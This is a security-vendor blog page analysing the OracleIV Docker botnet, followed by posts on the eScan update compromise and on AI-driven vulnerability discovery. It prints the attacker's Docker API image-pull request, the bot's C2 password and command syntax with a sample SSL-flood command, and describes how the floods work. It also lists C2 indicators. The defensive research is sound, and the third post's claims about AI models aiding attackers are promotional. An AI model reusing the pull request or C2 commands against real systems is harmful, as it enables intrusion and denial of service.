Blog
/
/
November 13, 2023

OracleIV: A dockerized DDoS botnet

OracleIV is a DDoS botnet exploiting misconfigured Docker Engine APIs. It delivers a malicious Python ELF executable within a Docker container ("oracleiv_latest") to perform various DoS attacks. The botnet communicates with a C2 server for commands, demonstrating attackers' continued use of exposed Docker instances.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
13
Nov 2023

Introduction: OracleIV

Researchers from Cado Security Labs (now part of Darktrace) discovered a novel campaign targeting publicly exposed instances of the Docker Engine API.

Attackers are exploiting this misconfiguration to deliver a malicious Docker container, built from an image named "oracleiv_latest" and containing Python malware compiled as an ELF executable. The malware itself acts as a Distributed Denial of Service (DDoS) bot agent, capable of conducting Denial of Service (DoS) attacks via a number of methods.

It’s not the first time the Docker Engine API has been targeted by attackers. This method of initial access has been increasing in recent years and is often used to deliver cryptojacking malware [1]. Inadvertent exposure of the Docker Engine API occurs frequently enough that several unrelated campaigns have been observed scanning for it. 

This should come as no surprise, given the move to microservice-driven architectures by many software teams. Once a valid endpoint is discovered, it’s trivial to pull a malicious image and launch a container from it to carry out any conceivable objective. Hosting the malicious container in Docker Hub, Docker’s container image library, streamlines this process even further.

Initial access

In keeping with other attacks of this kind, initial access typically begins with a HTTP POST request to the /images/create endpoint of Docker’s API. This effectively runs a docker pull command on the host to retrieve the specified image from Docker Hub. A follow-up container start command is then used to spawn a container from the pulled image. 

An example of the image create command used in the OracleIV command can be seen below:

POST /v1.43/images/create?
tag=latest&fromImage=robbertignacio328832/oracleiv_latest 

Malicious Docker hub image

As can be seen in the Docker API command above, the attacker retrieves an image named oracleiv_latest which was uploaded to Docker Hub. This image was still live at the time of writing and had over 3,000 pulls. Furthermore, the image itself appeared to be undergoing regular iteration, with the most recent changes pushed only 3 days prior to the writing of this blog.

The user also added the description Mysql image for docker to the image’s Docker Hub page, likely to make it seem more innocuous.

Examining the image layers reveals commands used by the attacker to retrieve their malicious payload - named oracle.sh, despite being an ELF executable - and bake it into the resulting image.

Image layer RUN command to retrieve malicious payload
Figure 1: Image layer RUN command to retrieve malicious payload

The image also includes additional wget commands to retrieve a copy of XMRig and an associated miner configuration file.

Image layer RUN command to retrieve xmrig miner
Figure 2: Image layer RUN command to retrieve xmrig miner
Image layer RUN command to retrieve miner configuration file
Figure 3: Image layer RUN command to retrieve miner configuration file

It is worth noting that Cado researchers did not observe any mining performed by this malicious container, but with these files baked into the image it would certainly be possible.

Static analysis

Since the bundled version of XMRig is both unused and a vanilla release of the miner, this section will focus on analysis of the oracle.sh executable embedded in the malicious container.

Static analysis of this executable revealed a 64-bit, statically linked ELF, with debug information intact. Further investigation led to the discovery of a number of functions with CyFunction in the name, confirming that the malware is Python code compiled with Cython.

Embedded Cython functions
Figure 4: Embedded Cython functions

The attacker code is relatively concise, the majority of it is dedicated to the different DoS methods present. The following functions were identified:

  • bot.main
  • bot.init_socket
  • bot.checksum
  • bot.register_ssl
  • bot.register_httpget
  • bot.register_slow
  • bot.register_five
  • bot.register_vse
  • bot.register_udp
  • bot.register_udp_pps
  • bot.register_ovh

Functions with the register_ prefix correspond to DoS attack methods, the details of which will be discussed in the following section.

Dynamic analysis

The bot connects back to a Command-and-Control server (C2) at 46.166.185[.]231 on TCP port 40320. It then performs primitive authentication, where the bot supplies the C2 with basic information about its environment in addition to a hardcoded password.

 : client hello from zombie! : X86 : key: b'bjN0ZzM0cnAwd24zZA==' : os: linux

The key decodes to “n3tg34rp0wn3d”. Supplying an incorrect key causes the C2 to reply with a string of expletive language, followed by the connection being terminated.

Following successful authentication, the C2 will continuously send “routine ping, greetz Oracle IV”. This is likely due to an implementation quirk, where many novice programmers new to socket programming will implement the blocking receive operation in a loop and require constant input to keep the loop going.

Cado Security Labs has performed monitoring of the botnet activity and has observed the botnet being used to DDoS a number of targets, with the operator preferring to use a UDP based flood in addition to an SSL based flood.

Botnet commands

C2 commands used to initiate the different DoS attacks take the following form:

<attack type> <target IP/domain> <attack duration> <rate> <target port>

For example, to conduct an SSL DoS attack on the website example.com for 30 seconds, a rate of 30, and on port 80, the C2 server would send the following command:

ssl example.com 30 30 80

Cado Security Labs were able to trick a botnet agent into connecting to a mimic C2 server instead of the real one and issued commands to observe the capabilities of the botnet. The botnet has the following DDoS capabilities:

UDP:

  • Performs a UDP flood with 40,000-byte packets
  • These far exceed the threshold and consequently get fragmented. This will create an additional computational overhead on both the target and source due to the reassembly of fragments, however it is unclear if this is intentional.

UDP_PPS:

  • Seems non-functional, when the command was issued no activity was observed.

SSL:

  • Opens a TCP connection, sends a large amount of data, and then closes. This process then repeats. The Cado dummy target server rejected all the fake requests with an error 400, so it would appear that the attack aims at flooding the target rather than exploiting some protocol specific function.
Tcpdump output for SSL Dos method
Figure 5: Tcpdump output for SSL DoS method

SYN:

  • It was anticipated that this would be a SYN flood, however the observed behavior is identical to SSL.

HTTPGET:

  • Seems non-functional, when the command was issued no activity was observed.

SLOW:

  • This is a “slowloris” style attack. The agent opens up many connections to the server and continuously sends small amounts of data to keep the connection open.

FIVE:

  • This is a UDP flood with 18-byte packets. Likely the packets are a part of the FiveM server protocol, and designed to cause a denial of service a FiveM server

VSE:

  • This is a UDP flood with 20-byte packets. Similar to FIVE, this seems protocol specific to Valve source engine.

OVH:

  • This is a UDP flood with 8-byte packets, designed to circumvent OVH’s DDoS protection.

Conclusion

OracleIV demonstrates that attackers are still intent on leveraging misconfigured Docker Engine API deployments as a means of initial access for a variety of campaigns. The portability that containerization brings allows malicious payloads to be executed in a deterministic manner across Docker hosts, regardless of the configuration of the host itself. 

Whilst OracleIV is not technically a supply chain attack, users of Docker Hub should be aware that malicious container images do indeed exist in Docker’s image library. Cado researchers reported the malicious user behind OracleIV to Docker.

Despite this, users of Docker Hub are encouraged to perform periodic assessments of the images they are pulling from the registry, to ensure that they have not been polluted with malicious code. 

Consistent with other attacks reliant on a misconfigured internet-facing service (e.g. Jupyter, Redis etc), Cado researchers strongly urge users of these services to periodically review their exposure and implement network defenses accordingly.

Indicators of compromise (IoCs)

File name SHA256

oracle.sh (embedded in container) 5a76c55342173cbce7d1638caf29ff0cfa5a9b2253db9853e881b129fded59fb

xmrig (embedded in container) 20a0864cb7dac55c184bd86e45a6e0acbd4bb19aa29840b824d369de710b6152

config.json (embedded in container) 776c6ef3e9e74719948bdc15067f3ea77a0a1eb52319ca1678d871d280ab395c

IP addresses

46[.]166[.]185[.]231

Docker image

robbertignacio328832/oracleiv_latest:latest

References

  1. https://blog.aquasec.com/threat-alert-anatomy-of-silentbobs-cloud-attack
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

More in this series

No items found.

Blog

/

Network

/

April 21, 2026

How a Compromised eScan Update Enabled Multi‑Stage Malware and Blockchain C2

multi-stage malwareDefault blog imageDefault blog image

The rise of supply chain attacks

In recent years, the abuse of trusted software has become increasingly common, with supply chain compromises emerging as one of the fastest growing vectors for cyber intrusions. As highlighted in Darktrace’s Annual Threat Report 2026, attackers and state-actors continue to find significant value in gaining access to networks through compromised trusted links, third-party tools, or legitimate software. In January 2026, a supply chain compromise affecting MicroWorld Technologies’ eScan antivirus product was reported, with malicious updates distributed to customers through the legitimate update infrastructure. This, in turn, resulted in a multi‑stage loader malware being deployed on compromised devices [1][2].

An overview of eScan exploitation

According to eScan’s official threat advisory, unauthorized access to a regional update server resulted in an “incorrect file placed in the update distribution path” [3]. Customers associated with the affected update servers who downloaded the update during a two-hour window on January 20 were impacted, with affected Windows devices subsequently have experiencing various errors related to update functions and notifications [3].

While eScan did not specify which regional update servers were affected by the malicious update, all impacted Darktrace customer environments were located in the Europe, Middle East, and Africa (EMEA) region.

External research reported that a malicious 32-bit executable file , “Reload.exe”, was first installed on affected devices, which then dropped the 64-bit downloader, “CONSCTLX.exe”. This downloader establishes persistence by creating scheduled tasks such as “CorelDefrag”, which are responsible for executing PowerShell scripts. Subsequently, it evades detection by tampering with the Windows HOSTS file and eScan registry to prevent future remote updates intended for remediation. Additional payloads are then downloaded from its command-and-control (C2) server [1].

Darktrace’s coverage of eScan exploitation

Initial Access and Blockchain as multi-distributed C2 Infrastructure

On January 20, the same day as the aforementioned two‑hour exploit window, Darktrace observed multiple devices across affected networks downloading .dlz package files from eScan update servers, followed by connections to an anomalous endpoint, vhs.delrosal[.]net, which belongs to the attackers’ C2 infrastructure.

The endpoint contained a self‑signed SSL certificate with the string “O=Internet Widgits Pty Ltd, ST=SomeState, C=AU”, a default placeholder commonly used in SSL/TLS certificates for testing and development environments, as well as in malicious C2 infrastructure [4].

Utilizing a multi‑distributed C2 infrastructure, the attackers also leveraged domains linked with the Solana open‑source blockchain for C2 purposes, namely “.sol”. These domains were human‑readable names that act as aliases for cryptocurrency wallet addresses. As browsers do not natively resolve .sol domains, the Solana Naming System (formerly known as Bonfida, an independent contributor within the Solana ecosystem) provides a proxy service, through endpoints such as sol-domain[.]org, to enable browser access.

Darktrace observed devices connecting to blackice.sol-domain[.]org, indicating that attackers were likely using this proxy to reach a .sol domain for C2 activity. Given this behavior, it is likely that the attackers leveraged .sol domains as a dead drop resolver, a C2 technique in which threat actors host information on a public and legitimate service, such as a blockchain. Additional proxy resolver endpoints, such as sns-resolver.bonfida.workers[.]dev, were also observed.

Solana transactions are transparent, allowing all activity to be viewed publicly. When Darktrace analysts examined the transactions associated with blackice[.]sol, they observed that the earliest records dated November 7, 2025, which coincides with the creation date of the known C2 endpoint vhs[.]delrosal[.]net as shown in WHOIS Lookup information [4][5].

WHOIS Look records of the C2 endpoint vhs[.]delrosal[.]net.
Figure 1: WHOIS Look records of the C2 endpoint vhs[.]delrosal[.]net.
 Earliest observed transaction record for blackice[.]sol on public ledgers.
Figure 2: Earliest observed transaction record for blackice[.]sol on public ledgers.

Subsequent instructions found within the transactions contained strings such as “CNAME= vhs[.]delrosal[.]net”, indicating attempts to direct the device toward the malicious endpoint. A more recent transaction recorded on January 28 included strings such as “hxxps://96.9.125[.]243/i;code=302”, suggesting an effort to change C2 endpoints. Darktrace observed multiple alerts triggered for these endpoints across affected devices.

Similar blockchain‑related endpoints, such as “tumama.hns[.]to”, were also observed in C2 activities. The hns[.]to service allows web browsers to access websites registered on Handshake, a decentralized blockchain‑based framework designed to replace centralized authorities and domain registries for top‑level domains. This shift toward decentralized, blockchain‑based infrastructure likely reflects increased efforts by attackers to evade detection.

In outgoing connections to these malicious endpoints across affected networks, Darktrace / NETWORK recognized that the activity was 100% rare and anomalous for both the devices and the wider networks, likely indicative of malicious beaconing, regardless of the underlying trusted infrastructure. In addition to generating multiple model alerts to capture this malicious activity across affected networks, Darktrace’s Cyber AI Analyst was able to compile these separate events into broader incidents that summarized the entire attack chain, allowing customers’ security teams to investigate and remediate more efficiently. Moreover, in customer environments where Darktrace’s Autonomous Response capability was enabled, Darktrace took swift action to contain the attack by blocking beaconing connections to the malicious endpoints, even when those endpoints were associated with seemingly trustworthy services.

Conclusion

Attacks targeting trusted relationships continue to be a popular strategy among threat actors. Activities linked to trusted or widely deployed software are often unintentionally whitelisted by existing security solutions and gateways. Darktrace observed multiple devices becoming impacted within a very short period, likely because tools such as antivirus software are typically mass‑deployed across numerous endpoints. As a result, a single compromised delivery mechanism can greatly expand the attack surface.

Attackers are also becoming increasingly creative in developing resilient C2 infrastructure and exploiting legitimate services to evade detection. Defenders are therefore encouraged to closely monitor anomalous connections and file downloads. Darktrace’s ability to detect unusual activity amidst ever‑changing tactics and indicators of compromise (IoCs) helps organizations maintain a proactive and resilient defense posture against emerging threats.

Credit to Joanna Ng (Associate Principal Cybersecurity Analyst) and Min Kim (Associate Principal Cybersecurity Analyst) and Tara Gould (Malware Researcher Lead)

Edited by Ryan Traill (Content Manager)

Appendices

Darktrace Model Detections

  • Anomalous File::Zip or Gzip from Rare External Location
  • Anomalous Connection / Suspicious Self-Signed SSL
  • Anomalous Connection / Rare External SSL Self-Signed
  • Anomalous Connection / Suspicious Expired SSL
  • Anomalous Server Activity / Anomalous External Activity from Critical Network Device

List of Indicators of Compromise (IoCs)

  • vhs[.]delrosal[.]net – C2 server
  • tumama[.]hns[.]to – C2 server
  • blackice.sol-domain[.]org – C2 server
  • 96.9.125[.]243 – C2 Server

MITRE ATT&CK Mapping

  • T1071.001 - Command and Control: Web Protocols
  • T1588.001 - Resource Development
  • T1102.001 - Web Service: Dead Drop Resolver
  • T1195 – Supple Chain Compromise

References

[1] https://www.morphisec.com/blog/critical-escan-threat-bulletin/

[2] https://www.bleepingcomputer.com/news/security/escan-confirms-update-server-breached-to-push-malicious-update/

[3] hxxps://download1.mwti.net/documents/Advisory/eScan_Security_Advisory_2026[.]pdf

[4] https://www.virustotal.com/gui/domain/delrosal.net

[5] hxxps://explorer.solana[.]com/address/2wFAbYHNw4ewBHBJzmDgDhCXYoFjJnpbdmeWjZvevaVv

Continue reading
About the author
Joanna Ng
Associate Principal Analyst

Blog

/

/

April 17, 2026

Why Behavioral AI Is the Answer to Mythos

mythos behavioral aiDefault blog imageDefault blog image

How AI is breaking the patch-and-prevent security model

The business world was upended last week by the news that Anthropic has developed a powerful new AI model, Claude Mythos, which poses unprecedented risk because of its ability to expose flaws in IT systems.  

Whether it’s Mythos or OpenAI’s GPT-5.4-Cyber, which was just announced on Tuesday, supercharged AI models in the hands of hackers will allow them to carry out attacks at machine speed, much faster than most businesses can stop them.  

This news underscores a stark reality for all leaders: Patching holes alone is not a sufficient control against modern cyberattacks. You must assume that your software is already vulnerable right now. And while LLMs are very good at spotting vulnerabilities, they’re pretty bad at reliably patching them.

Project Glasswing members say it could take months or years for patches to be applied. While that work is done, enterprises must be protected against Zero-Day attacks, or security holes that are still undiscovered.  

Most cybersecurity strategies today are built like a daily multivitamin: broad, preventative, and designed to keep the system generally healthy over time. Patch regularly. Update software. Reduce known vulnerabilities. It’s necessary, disciplined, and foundational. But it’s also built for a world where the risks are well known and defined, cycles are predictable, and exposure unfolds at a manageable pace.

What happens when that model no longer holds?

The AI cyber advantage: Behavioral AI

The vulnerabilities exposed by AI systems like Mythos aren’t the well-understood risks your “multivitamin” was designed to address. They are transient, fast-emerging entry points that exist just long enough to be exploited.

In that environment, prevention alone isn’t enough. You don’t need more vitamins—you need a painkiller. The future of cybersecurity won’t be defined by how well you maintain baseline health. It will be defined by how quickly you respond when something breaks and every second counts.

That’s why behavioral AI gives businesses a durable cyber advantage. Rather than trying to figure out what the attacker looks like, it learns what “normal” looks like across the digital ecosystem of each individual business.  

That’s exactly how behavioral AI works. It understands the self, or what's normal for the organization, and then it can spot deviations in from normal that are actually early-stage attacks.

The Darktrace approach to cybersecurity

At Darktrace, we’ve been defending our 10,000 customers using behavioral AI cybersecurity developed in our AI Research Centre in Cambridge, U.K.

Darktrace was built on the understanding that attacks do not arrive neatly labeled, and that the most damaging threats often emerge before signatures, indicators, or public disclosures can catch up.  

Our AI algorithms learn in real time from your personalized business data to learn what’s normal for every person and every asset, and the flows of data within your organization. By continuously understanding “normal” across your entire digital ecosystem, Darktrace identifies and contains threats emerging from unknown vulnerabilities and compromised supply chain dependencies, autonomously curtailing attacks at machine speed.  

Security for novel threats

Darktrace is built for a world where AI is not just accelerating attacks, but fundamentally reshaping how they originate. What makes our AI so unique is that it's proven time and again to identify cyber threats before public vulnerability disclosures, such as critical Ivanti vulnerabilities in 2025 and SAP NetWeaver exploitations tied to nation-state threat actors.  

As AI reshapes how vulnerabilities are found and exploited, cybersecurity must be anchored in something more durable than a list of known flaws. It requires a real-time understanding of the business itself: what belongs, what does not, and what must be stopped immediately.

What leaders should do right now

The leadership priority must shift accordingly.

First, stop treating unknown vulnerabilities as an edge case. AI‑driven discovery makes them the norm. Security programs built primarily around known flaws, signatures, and threat intelligence will always lag behind an attacker that is operating in real time.

Second, insist on an understanding of what is actually normal across the business. When threats are novel, labels are useless. The earliest and most reliable signal of danger is abnormal behavior—systems, users, or data flows that suddenly depart from what is expected. If you cannot see that deviation as it happens, you are effectively blind during the most critical window.

Finally, assume that the next serious incident will occur before remediation guidance is available. Ask what happens in those first minutes and hours. The organizations that maintain resilience are not the ones waiting for disclosure cycles to catch up—they are the ones that can autonomously identify and contain emerging threats as they unfold.

This is the reality of cybersecurity in an AI‑shaped world. Patching and prevention remain important foundations, but the advantage now belongs to those who can respond instantly when the unpredictable occurs.

Behavioral AI is security designed not just for known threats, but for the ones that AI will discover next.

[related-resource]

Continue reading
About the author
Ed Jennings
President and CEO
Your data. Our AI.
Elevate your network security with Darktrace AI